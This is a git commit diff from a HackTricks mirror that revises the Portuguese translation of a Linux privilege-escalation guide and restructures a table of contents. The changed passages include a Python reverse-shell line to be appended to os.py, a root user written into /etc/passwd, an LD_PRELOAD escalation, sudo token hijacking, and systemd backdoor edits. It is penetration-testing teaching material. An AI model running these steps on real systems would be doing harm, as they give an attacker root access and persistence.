mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/README.md'] to pt
This commit is contained in:
parent
f7c5d0d2ce
commit
0e88177488
@ -793,6 +793,29 @@
|
||||
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
|
||||
|
||||
# 🤖 AI
|
||||
- [AI Security](AI/README.md)
|
||||
- [AI Security Methodology](AI/AI-Deep-Learning.md)
|
||||
- [AI MCP Security](AI/AI-MCP-Servers.md)
|
||||
- [AI Model Data Preparation](AI/AI-Model-Data-Preparation-and-Evaluation.md)
|
||||
- [AI Models RCE](AI/AI-Models-RCE.md)
|
||||
- [AI Prompts](AI/AI-Prompts.md)
|
||||
- [AI Risk Frameworks](AI/AI-Risk-Frameworks.md)
|
||||
- [AI Supervised Learning Algorithms](AI/AI-Supervised-Learning-Algorithms.md)
|
||||
- [AI Unsupervised Learning Algorithms](AI/AI-Unsupervised-Learning-algorithms.md)
|
||||
- [AI Reinforcement Learning Algorithms](AI/AI-Reinforcement-Learning-Algorithms.md)
|
||||
- [LLM Training](AI/AI-llm-architecture/README.md)
|
||||
- [0. Basic LLM Concepts](AI/AI-llm-architecture/0.-basic-llm-concepts.md)
|
||||
- [1. Tokenizing](AI/AI-llm-architecture/1.-tokenizing.md)
|
||||
- [2. Data Sampling](AI/AI-llm-architecture/2.-data-sampling.md)
|
||||
- [3. Token Embeddings](AI/AI-llm-architecture/3.-token-embeddings.md)
|
||||
- [4. Attention Mechanisms](AI/AI-llm-architecture/4.-attention-mechanisms.md)
|
||||
- [5. LLM Architecture](AI/AI-llm-architecture/5.-llm-architecture.md)
|
||||
- [6. Pre-training & Loading models](AI/AI-llm-architecture/6.-pre-training-and-loading-models.md)
|
||||
- [7.0. LoRA Improvements in fine-tuning](AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md)
|
||||
- [7.1. Fine-Tuning for Classification](AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md)
|
||||
- [7.2. Fine-Tuning to follow instructions](AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md)
|
||||
|
||||
# 🔩 Reversing
|
||||
|
||||
- [Reversing Tools & Basic Methods](reversing/reversing-tools-basic-methods/README.md)
|
||||
@ -850,17 +873,6 @@
|
||||
- [Low-Power Wide Area Network](todo/radio-hacking/low-power-wide-area-network.md)
|
||||
- [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md)
|
||||
- [Test LLMs](todo/test-llms.md)
|
||||
- [LLM Training](todo/llm-training-data-preparation/README.md)
|
||||
- [0. Basic LLM Concepts](todo/llm-training-data-preparation/0.-basic-llm-concepts.md)
|
||||
- [1. Tokenizing](todo/llm-training-data-preparation/1.-tokenizing.md)
|
||||
- [2. Data Sampling](todo/llm-training-data-preparation/2.-data-sampling.md)
|
||||
- [3. Token Embeddings](todo/llm-training-data-preparation/3.-token-embeddings.md)
|
||||
- [4. Attention Mechanisms](todo/llm-training-data-preparation/4.-attention-mechanisms.md)
|
||||
- [5. LLM Architecture](todo/llm-training-data-preparation/5.-llm-architecture.md)
|
||||
- [6. Pre-training & Loading models](todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md)
|
||||
- [7.0. LoRA Improvements in fine-tuning](todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md)
|
||||
- [7.1. Fine-Tuning for Classification](todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md)
|
||||
- [7.2. Fine-Tuning to follow instructions](todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md)
|
||||
- [Burp Suite](todo/burp-suite.md)
|
||||
- [Other Web Tricks](todo/other-web-tricks.md)
|
||||
- [Interesting HTTP$$external:todo/interesting-http.md$$]()
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
### Informações do SO
|
||||
|
||||
Vamos começar a adquirir algum conhecimento sobre o SO em execução
|
||||
Vamos começar a obter algumas informações sobre o SO em execução
|
||||
```bash
|
||||
(cat /proc/version || uname -a ) 2>/dev/null
|
||||
lsb_release -a 2>/dev/null # old, not by default on many systems
|
||||
@ -73,7 +73,7 @@ De @sickrov
|
||||
```
|
||||
sudo -u#-1 /bin/bash
|
||||
```
|
||||
### Dmesg verificação de assinatura falhou
|
||||
### Dmesg assinatura de verificação falhou
|
||||
|
||||
Verifique a **caixa smasher2 do HTB** para um **exemplo** de como essa vulnerabilidade pode ser explorada.
|
||||
```bash
|
||||
@ -86,7 +86,7 @@ date 2>/dev/null #Date
|
||||
lscpu #CPU info
|
||||
lpstat -a 2>/dev/null #Printers info
|
||||
```
|
||||
## Enumere as defesas possíveis
|
||||
## Enumerar possíveis defesas
|
||||
|
||||
### AppArmor
|
||||
```bash
|
||||
@ -231,7 +231,7 @@ rm $1*.bin
|
||||
#### /dev/mem
|
||||
|
||||
`/dev/mem` fornece acesso à **memória** física do sistema, não à memória virtual. O espaço de endereço virtual do kernel pode ser acessado usando /dev/kmem.\
|
||||
Normalmente, `/dev/mem` é apenas legível por **root** e o grupo **kmem**.
|
||||
Normalmente, `/dev/mem` é legível apenas por **root** e pelo grupo **kmem**.
|
||||
```
|
||||
strings /dev/mem -n10 | grep -i PASS
|
||||
```
|
||||
@ -419,7 +419,7 @@ Unit=backdoor.service
|
||||
```
|
||||
Na documentação, você pode ler o que é a Unidade:
|
||||
|
||||
> A unidade a ser ativada quando este temporizador expirar. O argumento é um nome de unidade, cujo sufixo não é ".timer". Se não especificado, este valor padrão é um serviço que tem o mesmo nome que a unidade do temporizador, exceto pelo sufixo. (Veja acima.) É recomendável que o nome da unidade que é ativada e o nome da unidade do temporizador tenham nomes idênticos, exceto pelo sufixo.
|
||||
> A unidade a ser ativada quando este temporizador expirar. O argumento é um nome de unidade, cujo sufixo não é ".timer". Se não especificado, este valor padrão é um serviço que tem o mesmo nome que a unidade do temporizador, exceto pelo sufixo. (Veja acima.) É recomendável que o nome da unidade que é ativada e o nome da unidade do temporizador sejam nomeados de forma idêntica, exceto pelo sufixo.
|
||||
|
||||
Portanto, para abusar dessa permissão, você precisaria:
|
||||
|
||||
@ -454,7 +454,7 @@ Os sockets podem ser configurados usando arquivos `.socket`.
|
||||
### Arquivos .socket graváveis
|
||||
|
||||
Se você encontrar um arquivo `.socket` **gravável**, pode **adicionar** no início da seção `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` e o backdoor será executado antes que o socket seja criado. Portanto, você **provavelmente precisará esperar até que a máquina seja reiniciada.**\
|
||||
_Observe que o sistema deve estar usando essa configuração de arquivo socket ou o backdoor não será executado._
|
||||
_Observe que o sistema deve estar usando essa configuração de arquivo socket ou o backdoor não será executado_
|
||||
|
||||
### Sockets graváveis
|
||||
|
||||
@ -481,7 +481,7 @@ socket-command-injection.md
|
||||
|
||||
### Sockets HTTP
|
||||
|
||||
Observe que pode haver alguns **sockets ouvindo por requisições HTTP** (_não estou falando sobre arquivos .socket, mas os arquivos que atuam como sockets unix_). Você pode verificar isso com:
|
||||
Note que pode haver alguns **sockets ouvindo por requisições HTTP** (_não estou falando sobre arquivos .socket, mas os arquivos que atuam como sockets unix_). Você pode verificar isso com:
|
||||
```bash
|
||||
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
|
||||
```
|
||||
@ -489,7 +489,7 @@ Se o socket **responder com uma requisição HTTP**, então você pode **comunic
|
||||
|
||||
### Socket Docker Gravável
|
||||
|
||||
O socket Docker, frequentemente encontrado em `/var/run/docker.sock`, é um arquivo crítico que deve ser protegido. Por padrão, ele é gravável pelo usuário `root` e membros do grupo `docker`. Possuir acesso de gravação a este socket pode levar à escalada de privilégios. Aqui está uma análise de como isso pode ser feito e métodos alternativos caso o Docker CLI não esteja disponível.
|
||||
O socket Docker, frequentemente encontrado em `/var/run/docker.sock`, é um arquivo crítico que deve ser protegido. Por padrão, ele é gravável pelo usuário `root` e membros do grupo `docker`. Possuir acesso de gravação a este socket pode levar à escalada de privilégios. Aqui está uma análise de como isso pode ser feito e métodos alternativos se o Docker CLI não estiver disponível.
|
||||
|
||||
#### **Escalada de Privilégios com Docker CLI**
|
||||
|
||||
@ -536,7 +536,7 @@ Após configurar a conexão `socat`, você pode executar comandos diretamente no
|
||||
|
||||
### Outros
|
||||
|
||||
Observe que se você tiver permissões de gravação sobre o socket do docker porque está **dentro do grupo `docker`** você tem [**mais maneiras de escalar privilégios**](interesting-groups-linux-pe/index.html#docker-group). Se a [**API do docker estiver ouvindo em uma porta** você também pode ser capaz de comprometê-la](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||||
Observe que se você tiver permissões de gravação sobre o socket do docker porque está **dentro do grupo `docker`**, você tem [**mais maneiras de escalar privilégios**](interesting-groups-linux-pe/index.html#docker-group). Se a [**API do docker estiver escutando em uma porta**, você também pode ser capaz de comprometê-la](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||||
|
||||
Verifique **mais maneiras de sair do docker ou abusar dele para escalar privilégios** em:
|
||||
|
||||
@ -653,7 +653,7 @@ gpg --list-keys 2>/dev/null
|
||||
```
|
||||
### Big UID
|
||||
|
||||
Algumas versões do Linux foram afetadas por um bug que permite que usuários com **UID > INT_MAX** escalem privilégios. Mais informações: [aqui](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [aqui](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) e [aqui](https://twitter.com/paragonsec/status/1071152249529884674).\
|
||||
Algumas versões do Linux foram afetadas por um bug que permite que usuários com **UID > INT_MAX** escalem privilégios. Mais informações: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) e [here](https://twitter.com/paragonsec/status/1071152249529884674).\
|
||||
**Exploit it** usando: **`systemd-run -t /bin/bash`**
|
||||
|
||||
### Groups
|
||||
@ -677,7 +677,7 @@ echo "Highlighted text: "`xsel -o 2>/dev/null`
|
||||
else echo "Not found xsel and xclip"
|
||||
fi
|
||||
```
|
||||
### Política de Senhas
|
||||
### Política de Senha
|
||||
```bash
|
||||
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
|
||||
```
|
||||
@ -769,7 +769,7 @@ Essa técnica também pode ser usada se um **suid** binário **executar outro co
|
||||
|
||||
### Binário SUID com caminho de comando
|
||||
|
||||
Se o binário **suid** **executar outro comando especificando o caminho**, então, você pode tentar **exportar uma função** nomeada como o comando que o arquivo suid está chamando.
|
||||
Se o **suid** binário **executar outro comando especificando o caminho**, então, você pode tentar **exportar uma função** nomeada como o comando que o arquivo suid está chamando.
|
||||
|
||||
Por exemplo, se um binário suid chama _**/usr/sbin/service apache2 start**_, você deve tentar criar a função e exportá-la:
|
||||
```bash
|
||||
@ -809,12 +809,12 @@ Então **compile-o** usando:
|
||||
cd /tmp
|
||||
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
|
||||
```
|
||||
Finalmente, **escalar privilégios** executando
|
||||
Finalmente, **escalando privilégios** executando
|
||||
```bash
|
||||
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Uma privesc semelhante pode ser abusada se o atacante controlar a variável de ambiente **LD_LIBRARY_PATH** porque ele controla o caminho onde as bibliotecas serão procuradas.
|
||||
> Um privesc semelhante pode ser abusado se o atacante controlar a variável de ambiente **LD_LIBRARY_PATH** porque ele controla o caminho onde as bibliotecas serão procuradas.
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -892,7 +892,7 @@ isso significa que a biblioteca que você gerou precisa ter uma função chamada
|
||||
|
||||
### GTFOBins
|
||||
|
||||
[**GTFOBins**](https://gtfobins.github.io) é uma lista selecionada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos em que você pode **apenas injetar argumentos** em um comando.
|
||||
[**GTFOBins**](https://gtfobins.github.io) é uma lista selecionada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos onde você pode **apenas injetar argumentos** em um comando.
|
||||
|
||||
O projeto coleta funções legítimas de binários Unix que podem ser abusadas para sair de shells restritos, escalar ou manter privilégios elevados, transferir arquivos, gerar shells bind e reverse, e facilitar outras tarefas de pós-exploração.
|
||||
|
||||
@ -911,16 +911,16 @@ https://gtfoargs.github.io/
|
||||
|
||||
### FallOfSudo
|
||||
|
||||
Se você pode acessar `sudo -l`, pode usar a ferramenta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para verificar se encontra uma maneira de explorar qualquer regra do sudo.
|
||||
Se você pode acessar `sudo -l`, pode usar a ferramenta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para verificar se encontra uma forma de explorar qualquer regra do sudo.
|
||||
|
||||
### Reutilizando Tokens do Sudo
|
||||
### Reutilizando Tokens Sudo
|
||||
|
||||
Em casos onde você tem **acesso ao sudo** mas não a senha, você pode escalar privilégios **esperando pela execução de um comando sudo e então sequestrando o token da sessão**.
|
||||
Em casos onde você tem **acesso sudo** mas não a senha, você pode escalar privilégios **esperando pela execução de um comando sudo e então sequestrando o token da sessão**.
|
||||
|
||||
Requisitos para escalar privilégios:
|
||||
|
||||
- Você já tem um shell como usuário "_sampleuser_"
|
||||
- "_sampleuser_" **usou `sudo`** para executar algo nos **últimos 15 minutos** (por padrão, essa é a duração do token do sudo que nos permite usar `sudo` sem introduzir nenhuma senha)
|
||||
- "_sampleuser_" **usou `sudo`** para executar algo nos **últimos 15 minutos** (por padrão, essa é a duração do token sudo que nos permite usar `sudo` sem introduzir nenhuma senha)
|
||||
- `cat /proc/sys/kernel/yama/ptrace_scope` é 0
|
||||
- `gdb` é acessível (você pode ser capaz de carregá-lo)
|
||||
|
||||
@ -928,7 +928,7 @@ Requisitos para escalar privilégios:
|
||||
|
||||
Se todos esses requisitos forem atendidos, **você pode escalar privilégios usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
|
||||
|
||||
- O **primeiro exploit** (`exploit.sh`) criará o binário `activate_sudo_token` em _/tmp_. Você pode usá-lo para **ativar o token do sudo na sua sessão** (você não obterá automaticamente um shell root, faça `sudo su`):
|
||||
- O **primeiro exploit** (`exploit.sh`) criará o binário `activate_sudo_token` em _/tmp_. Você pode usá-lo para **ativar o token sudo na sua sessão** (você não obterá automaticamente um shell root, faça `sudo su`):
|
||||
```bash
|
||||
bash exploit.sh
|
||||
/tmp/activate_sudo_token
|
||||
@ -1075,12 +1075,12 @@ setfacl -b file.txt #Remove the ACL of the file
|
||||
```bash
|
||||
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
|
||||
```
|
||||
## Abrir sessões de shell
|
||||
## Open shell sessions
|
||||
|
||||
Em **versões antigas**, você pode **sequestar** algumas sessões de **shell** de um usuário diferente (**root**).\
|
||||
Em **versões mais recentes**, você poderá **conectar-se** apenas às sessões de tela do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da sessão**.
|
||||
Em **versões antigas** você pode **sequestrar** algumas sessões de **shell** de um usuário diferente (**root**).\
|
||||
Em **versões mais recentes** você poderá **conectar-se** apenas às sessões de tela do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da sessão**.
|
||||
|
||||
### sequestro de sessões de tela
|
||||
### screen sessions hijacking
|
||||
|
||||
**Listar sessões de tela**
|
||||
```bash
|
||||
@ -1192,7 +1192,7 @@ Em algumas ocasiões, você pode encontrar **password hashes** dentro do arquivo
|
||||
```bash
|
||||
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
|
||||
```
|
||||
### Gravável /etc/passwd
|
||||
### Writable /etc/passwd
|
||||
|
||||
Primeiro, gere uma senha com um dos seguintes comandos.
|
||||
```
|
||||
@ -1200,13 +1200,13 @@ openssl passwd -1 -salt hacker hacker
|
||||
mkpasswd -m SHA-512 hacker
|
||||
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
|
||||
```
|
||||
Então adicione o usuário `hacker` e adicione a senha gerada.
|
||||
Em seguida, adicione o usuário `hacker` e adicione a senha gerada.
|
||||
```
|
||||
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
|
||||
```
|
||||
E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
|
||||
Exemplo: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
|
||||
|
||||
Você pode agora usar o comando `su` com `hacker:hacker`
|
||||
Agora você pode usar o comando `su` com `hacker:hacker`
|
||||
|
||||
Alternativamente, você pode usar as seguintes linhas para adicionar um usuário fictício sem senha.\
|
||||
AVISO: você pode degradar a segurança atual da máquina.
|
||||
@ -1216,12 +1216,12 @@ su - dummy
|
||||
```
|
||||
NOTA: Em plataformas BSD, `/etc/passwd` está localizado em `/etc/pwd.db` e `/etc/master.passwd`, além disso, o `/etc/shadow` é renomeado para `/etc/spwd.db`.
|
||||
|
||||
Você deve verificar se pode **escrever em alguns arquivos sensíveis**. Por exemplo, você pode escrever em algum **arquivo de configuração de serviço**?
|
||||
Você deve verificar se consegue **escrever em alguns arquivos sensíveis**. Por exemplo, você pode escrever em algum **arquivo de configuração de serviço**?
|
||||
```bash
|
||||
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
|
||||
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
|
||||
```
|
||||
Por exemplo, se a máquina estiver executando um **servidor tomcat** e você puder **modificar o arquivo de configuração do serviço Tomcat dentro de /etc/systemd/,** então você pode modificar as linhas:
|
||||
Por exemplo, se a máquina estiver executando um **tomcat** server e você puder **modificar o arquivo de configuração do serviço Tomcat dentro de /etc/systemd/,** então você pode modificar as linhas:
|
||||
```
|
||||
ExecStart=/path/to/backdoor
|
||||
User=root
|
||||
@ -1235,7 +1235,7 @@ As seguintes pastas podem conter backups ou informações interessantes: **/tmp*
|
||||
```bash
|
||||
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
|
||||
```
|
||||
### Arquivos em Localização Estranha/Propriedade
|
||||
### Arquivos em Localizações Estranhas/Propriedade
|
||||
```bash
|
||||
#root owned files in /home folders
|
||||
find /home -user root 2>/dev/null
|
||||
@ -1268,7 +1268,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam
|
||||
```bash
|
||||
find / -type f -iname ".*" -ls 2>/dev/null
|
||||
```
|
||||
### **Script/Binaries no PATH**
|
||||
### **Script/Binários no PATH**
|
||||
```bash
|
||||
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
|
||||
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
|
||||
@ -1292,7 +1292,7 @@ Leia o código do [**linPEAS**](https://github.com/carlospolop/privilege-escalat
|
||||
### Logs
|
||||
|
||||
Se você puder ler logs, pode ser capaz de encontrar **informações interessantes/confidenciais dentro deles**. Quanto mais estranho o log, mais interessante ele será (provavelmente).\
|
||||
Além disso, alguns **logs de auditoria** configurados de forma "**ruim**" (com backdoor?) podem permitir que você **registre senhas** dentro dos logs de auditoria, conforme explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
||||
Além disso, alguns **logs de auditoria** "**mal**" configurados (com backdoor?) podem permitir que você **registre senhas** dentro dos logs de auditoria, conforme explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
|
||||
```bash
|
||||
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
|
||||
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||||
@ -1310,26 +1310,26 @@ Para **ler logs o grupo** [**adm**](interesting-groups-linux-pe/index.html#adm-g
|
||||
~/.zlogin #zsh shell
|
||||
~/.zshrc #zsh shell
|
||||
```
|
||||
### Generic Creds Search/Regex
|
||||
### Pesquisa/Regex de Credenciais Genéricas
|
||||
|
||||
Você também deve verificar arquivos que contêm a palavra "**password**" em seu **nome** ou dentro do **conteúdo**, e também verificar IPs e emails dentro de logs, ou expressões regulares de hashes.\
|
||||
Não vou listar aqui como fazer tudo isso, mas se você estiver interessado, pode verificar as últimas verificações que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza.
|
||||
|
||||
## Writable files
|
||||
## Arquivos Graváveis
|
||||
|
||||
### Python library hijacking
|
||||
### Sequestro de Biblioteca Python
|
||||
|
||||
Se você souber **de onde** um script python será executado e **puder escrever dentro** daquela pasta ou **modificar bibliotecas python**, você pode modificar a biblioteca OS e backdoor ela (se você puder escrever onde o script python será executado, copie e cole a biblioteca os.py).
|
||||
Se você souber **de onde** um script python será executado e **puder escrever dentro** daquela pasta ou **modificar bibliotecas python**, você pode modificar a biblioteca OS e criar um backdoor (se você puder escrever onde o script python será executado, copie e cole a biblioteca os.py).
|
||||
|
||||
Para **backdoor a biblioteca**, basta adicionar ao final da biblioteca os.py a seguinte linha (mude IP e PORT):
|
||||
Para **criar um backdoor na biblioteca**, basta adicionar ao final da biblioteca os.py a seguinte linha (mude IP e PORT):
|
||||
```python
|
||||
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
|
||||
```
|
||||
### Exploração do logrotate
|
||||
### Exploração do Logrotate
|
||||
|
||||
Uma vulnerabilidade no `logrotate` permite que usuários com **permissões de escrita** em um arquivo de log ou em seus diretórios pai potencialmente ganhem privilégios elevados. Isso ocorre porque o `logrotate`, frequentemente executado como **root**, pode ser manipulado para executar arquivos arbitrários, especialmente em diretórios como _**/etc/bash_completion.d/**_. É importante verificar as permissões não apenas em _/var/log_, mas também em qualquer diretório onde a rotação de logs é aplicada.
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Esta vulnerabilidade afeta a versão `3.18.0` do `logrotate` e versões anteriores.
|
||||
|
||||
Informações mais detalhadas sobre a vulnerabilidade podem ser encontradas nesta página: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
|
||||
@ -1342,7 +1342,7 @@ Esta vulnerabilidade é muito semelhante a [**CVE-2016-1247**](https://www.cvede
|
||||
|
||||
**Referência de vulnerabilidade:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
|
||||
Se, por qualquer motivo, um usuário conseguir **escrever** um script `ifcf-<qualquer>` em _/etc/sysconfig/network-scripts_ **ou** puder **ajustar** um existente, então seu **sistema está comprometido**.
|
||||
Se, por qualquer motivo, um usuário conseguir **escrever** um script `ifcf-<whatever>` em _/etc/sysconfig/network-scripts_ **ou** puder **ajustar** um existente, então seu **sistema está comprometido**.
|
||||
|
||||
Scripts de rede, _ifcg-eth0_ por exemplo, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. No entanto, eles são \~sourced\~ no Linux pelo Network Manager (dispatcher.d).
|
||||
|
||||
@ -1400,7 +1400,7 @@ cisco-vmanage.md
|
||||
**Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
|
||||
**Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
|
||||
**BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\
|
||||
**Kernelpop:** Enumera vulnerabilidades do kernel no linux e MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
|
||||
**Kernelpop:** Enumere vulnerabilidades do kernel no linux e MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
|
||||
**Mestaploit:** _**multi/recon/local_exploit_suggester**_\
|
||||
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
**EvilAbigail (acesso físico):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
|
||||
|
@ -1,285 +0,0 @@
|
||||
# 0. Conceitos Básicos de LLM
|
||||
|
||||
## Pré-treinamento
|
||||
|
||||
O pré-treinamento é a fase fundamental no desenvolvimento de um modelo de linguagem grande (LLM), onde o modelo é exposto a vastas e diversas quantidades de dados textuais. Durante esta etapa, **o LLM aprende as estruturas, padrões e nuances fundamentais da linguagem**, incluindo gramática, vocabulário, sintaxe e relações contextuais. Ao processar esses dados extensos, o modelo adquire uma ampla compreensão da linguagem e do conhecimento geral do mundo. Essa base abrangente permite que o LLM gere texto coerente e contextualmente relevante. Subsequentemente, esse modelo pré-treinado pode passar por um ajuste fino, onde é treinado ainda mais em conjuntos de dados especializados para adaptar suas capacidades a tarefas ou domínios específicos, melhorando seu desempenho e relevância em aplicações direcionadas.
|
||||
|
||||
## Principais componentes do LLM
|
||||
|
||||
Geralmente, um LLM é caracterizado pela configuração usada para treiná-lo. Estes são os componentes comuns ao treinar um LLM:
|
||||
|
||||
- **Parâmetros**: Parâmetros são os **pesos e viéses aprendíveis** na rede neural. Estes são os números que o processo de treinamento ajusta para minimizar a função de perda e melhorar o desempenho do modelo na tarefa. LLMs geralmente usam milhões de parâmetros.
|
||||
- **Comprimento do Contexto**: Este é o comprimento máximo de cada frase usada para pré-treinar o LLM.
|
||||
- **Dimensão de Embedding**: O tamanho do vetor usado para representar cada token ou palavra. LLMs geralmente usam bilhões de dimensões.
|
||||
- **Dimensão Oculta**: O tamanho das camadas ocultas na rede neural.
|
||||
- **Número de Camadas (Profundidade)**: Quantas camadas o modelo possui. LLMs geralmente usam dezenas de camadas.
|
||||
- **Número de Cabeças de Atenção**: Em modelos transformer, este é o número de mecanismos de atenção separados usados em cada camada. LLMs geralmente usam dezenas de cabeças.
|
||||
- **Dropout**: Dropout é algo como a porcentagem de dados que é removida (as probabilidades se tornam 0) durante o treinamento usado para **prevenir overfitting.** LLMs geralmente usam entre 0-20%.
|
||||
|
||||
Configuração do modelo GPT-2:
|
||||
```json
|
||||
GPT_CONFIG_124M = {
|
||||
"vocab_size": 50257, // Vocabulary size of the BPE tokenizer
|
||||
"context_length": 1024, // Context length
|
||||
"emb_dim": 768, // Embedding dimension
|
||||
"n_heads": 12, // Number of attention heads
|
||||
"n_layers": 12, // Number of layers
|
||||
"drop_rate": 0.1, // Dropout rate: 10%
|
||||
"qkv_bias": False // Query-Key-Value bias
|
||||
}
|
||||
```
|
||||
## Tensors em PyTorch
|
||||
|
||||
Em PyTorch, um **tensor** é uma estrutura de dados fundamental que serve como um array multidimensional, generalizando conceitos como escalares, vetores e matrizes para dimensões potencialmente mais altas. Tensors são a principal forma como os dados são representados e manipulados em PyTorch, especialmente no contexto de aprendizado profundo e redes neurais.
|
||||
|
||||
### Conceito Matemático de Tensors
|
||||
|
||||
- **Escalares**: Tensors de rank 0, representando um único número (zero-dimensional). Como: 5
|
||||
- **Vetores**: Tensors de rank 1, representando um array unidimensional de números. Como: \[5,1]
|
||||
- **Matrizes**: Tensors de rank 2, representando arrays bidimensionais com linhas e colunas. Como: \[\[1,3], \[5,2]]
|
||||
- **Tensors de Rank Superior**: Tensors de rank 3 ou mais, representando dados em dimensões superiores (por exemplo, tensors 3D para imagens coloridas).
|
||||
|
||||
### Tensors como Contêineres de Dados
|
||||
|
||||
De uma perspectiva computacional, os tensors atuam como contêineres para dados multidimensionais, onde cada dimensão pode representar diferentes características ou aspectos dos dados. Isso torna os tensors altamente adequados para lidar com conjuntos de dados complexos em tarefas de aprendizado de máquina.
|
||||
|
||||
### Tensors PyTorch vs. Arrays NumPy
|
||||
|
||||
Embora os tensors PyTorch sejam semelhantes aos arrays NumPy em sua capacidade de armazenar e manipular dados numéricos, eles oferecem funcionalidades adicionais cruciais para aprendizado profundo:
|
||||
|
||||
- **Diferenciação Automática**: Tensors PyTorch suportam o cálculo automático de gradientes (autograd), o que simplifica o processo de computar derivadas necessárias para treinar redes neurais.
|
||||
- **Aceleração por GPU**: Tensors em PyTorch podem ser movidos e computados em GPUs, acelerando significativamente cálculos em larga escala.
|
||||
|
||||
### Criando Tensors em PyTorch
|
||||
|
||||
Você pode criar tensors usando a função `torch.tensor`:
|
||||
```python
|
||||
pythonCopy codeimport torch
|
||||
|
||||
# Scalar (0D tensor)
|
||||
tensor0d = torch.tensor(1)
|
||||
|
||||
# Vector (1D tensor)
|
||||
